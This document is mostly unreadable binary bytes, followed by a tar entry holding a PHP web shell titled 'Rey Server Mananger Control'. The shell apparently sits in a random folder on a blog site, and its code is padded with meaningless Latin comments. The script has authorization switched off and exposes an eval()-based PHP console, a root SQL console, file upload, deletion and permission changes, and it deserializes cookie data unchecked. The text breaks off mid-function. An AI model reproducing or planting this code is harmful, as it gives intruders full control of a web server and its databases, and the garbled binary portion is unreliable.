'�*���vw�D���oPu�ܼœ�2m;�_�2���Mk��T_�7 xx�ák3��i	�ṬK��[�F�ͭh�^D��Jܝ�^Dwr-�@�t����/��A��D )�*A��p*���)/�+��L8�#W3Xn���5�U9���%}���c����YV��ߢ��Vp�¾� ��ۦ�)��@Zc��_�*��u�s`��|Q�/(in��=C�
-;^�j���`�F����s�	L�+�*A*F�����p�B��x�*V��g{�%��!�`��i�zZ@ȴ.�����y�XW��U�$�j�0@ȱ=�S}���5���	��:�)�6uA�����q��(�����,;��G���W�e��ca��NE�	`���$�q�1V.�/=��{��ѻ� �͢�r@j�.=��V�.$a%����Ām��f$���1\3':�͜c���z�X����V�r9�D��>°%��!;������(,�ꂤ�a�P�K��,#�KCES@I�J����®Q�7@ ��K��/,p}!e�B�
�~ChPq���Ү��|E�����H)V@r!�,w8*qMJ$�����(�B�F�%�C4�bJ3�[�'l����2�&9f�O��wO�繄�ژ�B�+)��)�&�=�9�j&�W�=[�'^��@압�V�.�#�;�IR���Tr�9�0���X��$�!WW�A��J���PW<��ײ��Z��G܍>#oB=
w�E���o��F���!�
�O��2��Hi��K�� m���3ƻc'/I��v�m��X{`J�S�<�g�K6t:���^
E!��ڳH�"-B�
g�}B–�#^Z�7zw���]Db������yrH;;D
��c=�e���Pڱ�z6����o@["5�;��%�9��uľ���*�\�L4u]7K���\�-u�6�Դ,�?�>r�s�'u�2�8���oM�s�!��s̥��6.��qU@|�|�(<STVخw����.t,���CkD�'5�3���h�����vsխ �!��uH{�?��A�46��oV��@�����.s{��)J����9mC�XHc�$��-��t���B�Y��)u�Ѱ-
%8lM+)Z=���G���g�G16x�覵q��G�_��c:hu<<ҭ�ّ�hk�7n��k��^�s#��Ji�3���W�ڡ'�
��<lϻ�`�4��4���9de�N<�8'l�������}�s�u	�r~�Cc���f���T�ts��!�rnA[�*۫xy���ir�wͻ���#��t�Dž�<���(��9�M��97�mθu�P'6tg3G�Yd���4��!s*�o�ocd�OQ�6Á[e+��{��C���Z#�7�?��K>����N��pcٹCHC��]�Ż�:����������7�?��-�J�o���\~BO�-m�<�p��U�8
�͘A�8��X�ևƘ6�i�A�������m��zV-�l]��=F�$;%.� ~�'�b���e���a��]>�4*�	
^|0�Ul�(�VQ8��qEPCI�V2sM�B��o	a͈cN�\��5��G_SFΣ���!���������F.��]���C�f%v�R����C�G;�%�,:��v(m���
lg��϶���
�R�utk)�0zw�c�Y�c����A��%��ɖ�Aͷ���
��~�Lm�3�-����薳M%��eX1^W�$���p�-S�u�p��DQ�i����F�<B͕=��������:�����Y�.��5a.=pā�S�LX=Pb	�6ym(�;w=��o�s_M�}n=��+I�a]6tI�j�d��̼��0W����~���F+�sŪ�m�wX�|B�"�nb��uK=���)�_?����̠�z/y��*��5w��h|
���^��F��!�>�~>�)�P��D��y:D
�(.��鑛�jئ���_O�A�-�Y48�ҟ�1$��Z%|g����+[������S2Xe?}yMhߕ�G��F�#��,q�`pA���Z�1����qzk���_�CT�͵��\7*�O�/������j�=�BE��/
*0�6��Wʛ�=�]��r���M��*��mK���V-p�JU����N*��AA��7z}Oo�.�v#K���կ��˂�
-㾶���X� �1��Pc�P!�}!����I�S���#�n�9"�ᣡ�D1\��� fB{Q#��Z_�/�xğ@���Sðs"C�!���J�@�%���V�o8{�b��'H��!�nj�5T�ж�I�n�t4Q�Rg��yE�@��}J�-�o���*�ë�ۮ�mô�_�����L@�WYf�
�G4��
��!P���cM���C�1)�r���X�	�8d�},�ް<-lB(P����dB�.fDE���g_�o),WK�	�W�x8�-�l<B$��}D@A7/08nH�Rv�HAY�,/Ց��Uva	~�x?޸y%��DL*�i�m2�9U�աse��V��3��,<�p�ăY�B��t�j	Ͱf� %g٦�4�j���@TQ���8l���߱���7K��V�P���e>��8��҃`�Ŷ��?U�#w÷	{U�3��0	��e�`�Ŵ�zh3�3o��!���
k}����𞼻�rb�CWx�<����;ۤ4F�k��(�����o�j�S�6{��F'�7:9��D6����^Ž22e,0�Y�)��_��о����7��9	�"u���T=��k����U�7BS	zt�Хo���'�� �[���A��f���/����{%�ux�/�@s��(8b��[}�����C��}��@�@�h�\l0׿ri���eor��ڒ�[˄y�2�H@�2�CX��(#�!uf�/dA�8%Y�ʧ�����D��D>U��Ԕ�8��?��(�sJ�(7������R�"�	+OW��HX�E��l�[J_%����C>%�Ց�#>R��8�	�����z��Qa�J�1�R��놷�g=
^�d�� ��/�S�^�lk"[�q��	����� �����0�vk�tU��em@>��ʕ"��Q�Eѭ2n
��j�����wO���x,�Wdžg���뮈�����D�3%��hi;b�^�!|�=jOFZ��E����(Cm�vhT���7��1"����<[��q��@qUv!�&�a���IwZ&��G[*��%���k�#����pM�a��~��.+C��9,��X�|����.]��K0�hZ�k�-��<�fh�1
�!��=atO���R��z���ZQ�\B`zЅ�Jm$u�͡���"���@;��
�rr���Ɂ�:cA$�p�w����r�zw_{�7��v��{z���fƓ);�s^X����Zo��}8���T: �C�&��??�� A�i�cN	�.�jC�7($`��5��X��'��8{�6��s��;�����#�4qC����G�%�o�� @݇��נ���H?�%��6[$���=h���%!��{���4��)xQ�""�(��p� G��$hP&L|Ȃ��+�V��@=P+0 �	�QT{WŵG1�QZ{�`%�g�YC�X���K�ˍ��
 
�Cl#���F��+0���鵺�I4���I���x��Q��e`�!d�e�i��c�_ �>C)	�9D�(̢��߫/�6�!�2Q���?��Hrw$Ћ�m�W��ߐl�]�,����JP��^P�<�0�,�]p�t%d�JW�h
�%�=��$a,��ԕ0�@��Ε[5J��-m�ل6�� N�N�l�
�!�0�?�NՇw���e�\H��r�@��a�q>����?�>�	y��F}��<ﴂ
|�|VĢ�"�PWg�3�塽6iG���R��D]|�	dv���0��{�uŮ�0+�{�¤�蛲�X	�B����N�}���Q.�W	+C?�?_��O�K��)p���˞ƀR
/[�����z����y��JN�z�E�XzNa}�41���&�ziD�`�&�Nu{�x!"	C��<�u���zP�R��٠X�V��v�p*��-�6�"K_!�����q�>����
�	�<P�o;5}ؐ+�����g��	F������t��T��g���2��K�(%YQ_�N���a�]�՟�,Tۍ6�0�U���eitQ��jfa�*�З�����K�:�$0V�
�O��� ~�pV�xj�N(YC���0õ^r!���+
Мf������]-���A�Q��U׷�h<�p
C;��G�܀�0˻w���FS?��~�A\��D>�H�G�DuLTap(AǀȈN�C�GH��I�p��w��NR�)��.yng��t�0����_@��x6#L��CEUQ-�r4�Vi`,�X��m5ő
�@@�T׷��/!���{$�f���lv63w�. �4)@4AD$Z.C=%�p�i�K�X�\Ik=I�<����Ǟ�!�9P˪(pzq���XYYT���̌�[(��(���vN|a&!�0�������6�b}�H=��f���Ê�
���K���"-�XV���B�g��@	��H,���;KF����=5d9X@����rе�nɫ�_;��e�ׂˇ R⮌��u�p�y�!�������'�V�)�t�n�2�o�X�c��kX�Ƽ*k���u�	�饕!�6�����
M�`ydE�+BDo
%�[p�#5�Se+���mDt\��v��S�ڽ@��T܍�p	M5�е�K���89-_����z'̥��E�e<_Ca�h,LY��Y�@.{Y�c]��}�D8ps��@(�‰L��
_�ƫ{�6�����̋��q�1�&:/�+�.o��0j�r{���Cx���Y#�L�(�F�|�E(� +��ը!�&`Y����cp �ș����`��y���v���]�>qhO`���[D�~�튎�_�<M��G$���XG���8a��?��n'��H�Y��m����Z���\W�1Z�'{�~[�D$z��'{F��>ȵ3�pP�7�$��S�K�<�}@�w� ��(�����A$���{s�c�ʧ�g�)ԜG��2е7���w�Ќk+j>���R������*�c7a�p`xjr������u�ְ�T�E]�S-%�L~J�!�z��o�݄m�����s��iIH��˂2�F(�iV�4����y3��z��tC�_�
^�
����D~ǡ��)�g��ƁYpܰ4+�ԹCj2�w*�l��7�}�:�zi���=�Z|���f�KdF�Ɗ(��1��r"���Cn���	��Jjc��CR�b��e�
N���U942ƫ�x$�߸Z��j�Ch�ֳ��s,�9����j��7y��Pl�,�����/����7�(��p��F�p*�Ed���z��QKJD]�{�X���uY|US�¹N;�G��#�W`��w��T����N��W���4��sŻ-�Hf٦�g�o���@5JJ%��9�	����IM�WϚ���t�5��GH�300�d��9ct���eZ�
�7�~�.}�EZ/��M�zE�����s}J��>|��Sm5�%ԛ�5�l�ָ>���J1�1�#��nB���I�i�'�'�O�bi��4�����9e�)�U�j�{��.~�!>��l|�`�D�=t��V]���ǁ��2����`�w+a-@+�`M���{�`��T	�6M��8G�<�6%��D�]+8dTh�!����·.8�4,��2�#�u���K%ˏ��^(]
�0�����c�/h�"��b�0����Op6Ӄd~+��
�)m�+�a�slSLx�R������A��0�����jZ���Ba�}�x�)��>��TbD��-��c�H�hX��v���nJ����i���r��x����f�'ϡ[e��l-�@���Q]>a �h? �w�/p�濘RP�t�3�R�-�EH#3f��.A�B*pO���Zt
�!�O����aӨӘ��mfV|�Ϋ}�=�~	fW���J��Աl�n�2�<-{�yfiY7��X�K�`g����}B�j;odtgž��:H�c��C1IJ�t{k���H)�p���o$�h�1��g��0��Ո�28��3`h��^'$"x� ����ᷡ~��]
����
,��g*j��$)���4������F��Lk���"� ��VI�u�1#����Eo�-��K8�0����<<�^M�0a<���&
��Ʋ$	e1�)��/\���H��z$�0�!E�Q�γC�Y�������4JN%� �Pr��Cg�뭪��k�%-Y]�b!���i\�����sU:(@���p<�U-�:����ּ,�3��bS�=(�ˏ�[���xE���G�$Ut����v�CXښb���E�
�q��jm;��Fkϙ�8�����6��N.S���#[_v�G-��p���E�|������9�Mqp���O��4%8��� ��DsJ�L�ıB�(!y����j��/��]'S�:@����V=��mœ��hx#
CTg���L)˴��2S]F�!
S,D���(s���
g
cE5�=��d���V�U�r|�;�����l���Hs�ӏJiC/��i�Cw��,��T
��ͽ��Pۨ�6���n�Yn9M�Cpx��/�S��N����7e:Y�Nn���Qڜ}��uv���������C�5
v�Ѝ�c���k�l����J\���|��T?��j4u�x��g��E�^�EG����0_qX� [Hz4��t�S����p�{�	��c���7	_�F�A���;��g�R1E��5��������I��{�L�/���d�=F-w���7ےV���x�z;C����"'�UD+X��:T���X;AxAǾ�ۺ��K-/��ykL�5X�ް�����%A�4a}]��;��o(�$8�d��
��~�����#
��n�)�FNid�����U�ۏ����Y��Gg�MBx������\���q���3�b t���+����p���ꖒ���d��aS	#�j�YA�5Qm�²PF��N$m�ab$��5'���߈��+�D�(���GE�au�H*�h�&Ĩ��eD�`"
��K�T$

��*x���V/	��C$�\PvDRQ%$IŢ+�X,:QZ�����	���Em�|@��g#�B�6Fr���޺��b,f=ee�S����rz���	�+&���D4����}D�@�%œƁ�Z[c�r�ب�������:�l?�I�d����.U�͙�$ђ!��6�.��h��0�T<¯����,�!�d?Ҥ��]
jpU�q�^�,���p��6��P�:��|}"9DB���Ɏ�e8�����H4�ZӮÂ5\MRQ G�J"A�:����o��:Dj��j/^��PP�-��%3�K��d��I;�LFl�З��$�a�x8�p�2D�@�X�|�2�KK�����HD�i�;�rC�`��[�,�ւ0B�1��?=œ
�$	�@q�Jr�^E����S�:	MyD��gʲ�X�Um��n�Z��T'@0w_���%~�`eb������d�'heGpUT43VhМ(Dx�q�fٰU�O�'P"�D5"��=���p�Q�dF2w�3�M9�`f�`Y�p�v��
�T��0�>ْƹ��]ֈr�8���j��kT���D� ��IO4�F��
���pG퀍"<��+��&�X���Ù= \envAX���}j�����C��H8q����.?���Z�/��,��A⧠z���җ���L�ټv������,s3�VN����n�?�trW0,�'�&�`�%#.LG�.]��)��[�*�`Qo�X�+,LXx�k�����Y����b���a
���p�'�E��K����?�:����mK�A7�1$���-	��g�v ��M�v:�17�f�{I�cj�����l��ab�p��b�y~Sl�cB�}?�Yve�#����E�m�[饜<�A�F��,� !��!ו�1��`�~����fOi+gx/���:qn�$׌m{�A���u�טPB�����93|q`&��&���7�8�z&��J�sj�D�oH�w���K���Q�J�o���4��̷��Ԅͨ�D��FO�a�֖Iž��D<��妞a�Q�k|��eܦE�n$���&�z�n]���{��v�yBXG�q=�v?SiKy%�WR���/�ۮ12��:Py�����JD.L$�6���ND09G�wcN2c}�Lj;4�}�#��Qxz8��-5^�}���3|
;�կG�1顱����J�Q�]9�
|��5U�ֺ5���Ұ���Ҫv��?���矟�k����l���PK�Bg\�l����
u1a79.php.tarnu�[���home/greakqsw/theblogginglab.org/56fz7d/u1a79.php000064400000333775151530205740015506 0ustar00<?php








        /* Rey Server Mananger Control */






  // Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere



         $authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




$php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}';


$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить �ту папку (рекур�ивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить �тот файл?","Archiving":"�рхивировать","Authorization":"�вторизаци�","Back":"�азад","Cancel":"Отмена","Chinese":"Китай�кий","Compress":"Сжать","Console":"Кон�оль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Ра�паковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"�нглий�кий","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл �охранен","Filename":"Им� файла","Files uploaded":"Файл загружен","French":"Француз�кий","Generation time":"Генераци� �траницы","German":"�емецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"�аименование","New":"�овое","New file":"�овый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображени�","Recursively":"Рекур�ивно","Rename":"Переименовать","Reset":"Сбро�ить","Reset settings":"Сбро�ить на�тройки","Restore file time after editing":"Во��танавливать врем� файла по�ле редактировани�","Result":"Результат","Rights":"Права","Russian":"Ру��кий","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"�а�тройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"И�пан�кий","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украин�кий","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"�айдено в файлах","Search":"Пои�к","Recursive search":"Рекур�ивный пои�к","Mask":"Ма�ка"}';

// File Manager instrumentum utile est ad res in systemate computatorio ordinandas
                        

// Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum

$starttime = explode(' ', microtime());

$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
                                       
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';

$main_path=str_replace('\\', '/',realpath('./'));
                                      
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum
$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;





     // Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum
                                   
             $auth_local = json_decode($authorization_Option,true);

$auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; 





    $auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30;

$auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin';  
$auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm';  




$auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user';

$auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : '';
                          

                                       
// File Manager adhibetur ad fasciculos inter directorias movere

$fm_default_config = array (
                                 
	'make_directory' => true, 

	'new_file' => true, 

	
    
    'upload_myfile' => true, 

	'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare
                            
	'show_img' => true, 

	'show_php_ver' => true, 
	'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta
                                    
	'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum
	
    
    'enable_php_console' => true,

	'enable_sql_console' => true,
	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	'enable_proxy' => true,

	'show_phpinfo' => true,
                                 
	'show_xls' => true,





	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,
);


                           
if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config;

else $fms_config = unserialize($_COOKIE['fm_config']);


// Change language

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization']));
                             
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}
$language = $default_language;


// Detect browser language

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		         foreach ($lang_priority as $lang_arr){
		         	$lng = explode(';', $lang_arr);

		         	$lng = $lng[0];
                                 
		         	if(in_array($lng,$langs)){

		         		         $language = $lng;
		         		         break;

		         	}
		         }

	}

} 


                        
// File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt

$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
                                        


// Multae versiones File Manager in systematibus operandi diversis exstant
                                 
$lang = json_decode($translation,true);

if ($lang['id']!=$language) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	if (!empty($get_lang)) {






		         // File Manager in versionibus recentibus variat inter GUI et CLI formas

		         $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		         $fgc_check = file_get_contents(__FILE__);

		         $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
                                        
		         if (!empty($matches[1])) {
                              
		         	$filemtime = filemtime(__FILE__);

		         	$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check);
		         	if (file_put_contents(__FILE__, $replace)) {
                                  
		         		         $msg .= __('File updated');
                        
		         	}	else $msg .= __('Error occurred');

		         	if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                                      
		         }	
		         $lang = json_decode($translation_string,true);

	}
}
                                 

                              
/* Functions */


                                     
//translation

function __($text){
	global $lang;

	if (isset($lang[$text])) return $lang[$text];

	else return $text;
};


                             
// Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit

function fm_del_fileSet($file, $recursive = false) {

	if($recursive && @is_dir($file)) {
		         $els = fm_scan_dir($file, '', '', true);
                               
		         foreach ($els as $el) {
                                
		         	if($el != '.' && $el != '..'){
                            
		         		         fm_del_fileSet($file . '/' . $el, true);
		         	}

		         }

	}
	if(@is_dir($file)) {

		         return rmdir($file);
                                  
	} else {

		         return @unlink($file);

	}

}

                        
//file perms

function fm_rights_string($file, $if = false){
                            
	$perms = fileperms($file);

	$info = '';
	if(!$if){

		         if (($perms & 0xC000) == 0xC000) {

		         	//Socket

		         	$info = 's';
		         } elseif (($perms & 0xA000) == 0xA000) {

		         	// In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret

		         	$info = 'l';

		         } elseif (($perms & 0x8000) == 0x8000) {
                          
		         	// Aliquam File Manager etiam permittit utentes cum serveris remotos operari.

		         	$info = '-';
		         } elseif (($perms & 0x6000) == 0x6000) {

		         	// Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul

		         	$info = 'b';

		         } elseif (($perms & 0x4000) == 0x4000) {
                              
		         	// Usus File Manager fit potissimum per drag et drop actiones


		         	$info = 'd';
                        
		         } elseif (($perms & 0x2000) == 0x2000) {

		         	// File Manager etiam multis systematibus permittit accessum ad hidden files







		         	$info = 'c';

		         } elseif (($perms & 0x1000) == 0x1000) {
		         	//FIFO pipe
                               
		         	$info = 'p';

		         } else {
                                    
		         	//Unknown
                                      
		         	$info = 'u';
		         }

	}
                               
  
                                     
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');
                               
	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
                           
	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));
                                    
 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');
                            
	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));

                           
	return $info;
                             
}



function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');
                                      
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);
                         
	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
                                 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);
}

                         
function fm_chmod($file, $val, $rec = false) {
                                      
	$res = @chmod(realpath($file), $val);
                          
	if(@is_dir($file) && $rec){
		         $els = fm_scan_dir($file);
		         foreach ($els as $el) {
		         	$res = $res && fm_chmod($file . '/' . $el, $val, true);

		         }
                            
	}
                                       
	return $res;

}



//load fileSet
                           
function fm_download($archiveFileName) {

    if (!empty($archiveFileName)) {

		         if (file_exists($archiveFileName)) {
                                     
		         	header("Content-Disposition: attachment; filename=" . basename($archiveFileName));   

		         	header("Content-Type: application/force-download");

		         	header("Content-Type: application/octet-stream");

		         	header("Content-Type: application/download");

		         	header("Content-Description: File Transfer");            

		         	header("Content-Length: " . fileSetize($archiveFileName));		         

		         	flush(); // this doesn't really matter.
		         	$fp = fopen($archiveFileName, "r");
                            
		         	while (!feof($fp)) {
                               
		         		         echo fread($fp, 65536);

		         		         flush(); // this is essential for large downloads

		         	} 
                                       
		         	fclose($fp);

		         	die();

		         } else {

		         	header('HTTP/1.0 404 Not Found', true, 404);

		         	header('Status: 404 Not Found'); 
		         	die();
                                  
        }

    } 

}


                          
// File Manager in multis casibus includit instrumenta ad compressiones fasciculorum
function fm_dir_size($f,$format=true) {

	if($format)  {
                                 
		         $size=fm_dir_size($f,false);
		         if($size<=1024) return $size.' bytes';

		         elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
                                   
		         elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		         elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		         elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		         else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
                             
	} else {
		         if(is_file($f)) return fileSetize($f);

		         $size=0;

		         $dh=opendir($f);

		         while(($file=readdir($dh))!==false) {

		         	if($file=='.' || $file=='..') continue;
		         	if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file);

		         	else $size+=fm_dir_size($f.'/'.$file,false);

		         }
                         
		         closedir($dh);
		         return $size+fileSetize($f); 

	}

}



//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
                                      
	$dir = $ndir = array();

	if(!empty($exp)){

		         $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
                           
	}
	if(!empty($type) && $type !== 'all'){
                                        
		         $func = 'is_' . $type;
	}
                                   
	if(@is_dir($directory)){
                             
		         $fh = opendir($directory);

		         while (false !== ($filename = readdir($fh))) {
		         	if(substr($filename, 0, 1) != '.' || $do_not_filter) {
                                
		         		         if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

		         		         	$dir[] = $filename;
                                      
		         		         }

		         	}
		         }
		         closedir($fh);
		         natsort($dir);
                         
	}
	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}

function fm_arr_to_option($arr,$n,$sel=''){
                         
	foreach($arr as $v){
		         $b=$v[$n];

		         $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
                         
	}

	return $res;

}


function fm_lang_form ($current='en'){

return '
                                        
<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		         <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		         <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		         <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		         <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
                                     
		         <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>
</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');
}


                                       
function fm_php($string){
	$display_errorList=ini_get('display_errorList');

	ini_set('display_errorList', '1');
                                   
	ob_start();
	eval(trim($string));
                           
	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errorList', $display_errorList);
	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fms_config;

	return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']);

}


                                        
function fm_sql($query){
	global $fms_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		         ob_end_clean();	
		         return $connection->connect_error;
	}

	$connection->set_charset('utf8');

    $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		         ob_end_clean();	

		         return mysqli_error($connection);

    } else {
                           
		         if(!empty($queried)){
                         
		         	while($row = mysqli_fetch_assoc($queried)) {
                                  
		         		         $query_result[]=  $row;
                           
		         	}

		         }

		         $vdump=empty($query_result)?'':var_export($query_result,true);	

		         ob_end_clean();	

		         $connection->close();
		         return '<pre>'.stripslashes($vdump).'</pre>';
	}

}



function fm_backup_tables($tables = '*', $full_backup = true) {
                                    
	global $path;
	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";
                            
	if($tables == '*')	{

		         $tables = array();

		         $result = $mysqldb->query('SHOW TABLES');
		         while($row = mysqli_fetch_row($result))	{
		         	$tables[] = $row[0];

		         }

	} else {

		         $tables = is_array($tables) ? $tables : explode(',',$tables);
	}

    

	$return='';

	foreach($tables as $table)	{
                                  
		         $result = $mysqldb->query('SELECT * FROM '.$table);
		         $num_fields = mysqli_num_fields($result);
		         $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		         $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		         $return.=$row2[1].$delimiter;

        if ($full_backup) {
                             
		         for ($i = 0; $i < $num_fields; $i++)  {

		         	while($row = mysqli_fetch_row($result)) {
                           
		         		         $return.= 'INSERT INTO `'.$table.'` VALUES(';

		         		         for($j=0; $j<$num_fields; $j++)	{

		         		         	$row[$j] = addslashes($row[$j]);
		         		         	$row[$j] = str_replace("\n","\\n",$row[$j]);
                          
		         		         	if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
		         		         	if ($j<($num_fields-1)) { $return.= ','; }

		         		         }
                                     
		         		         $return.= ')'.$delimiter;
		         	}
                        
		           }

		         } else { 

		         $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		         }
		         $return.="\n\n\n";
	}


                            
	//save file

    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');
                        
	fwrite($handle,$return);
	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
                              
}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");

    $sqlFile = fread($f,fileSetize($sqlFileToExecute));
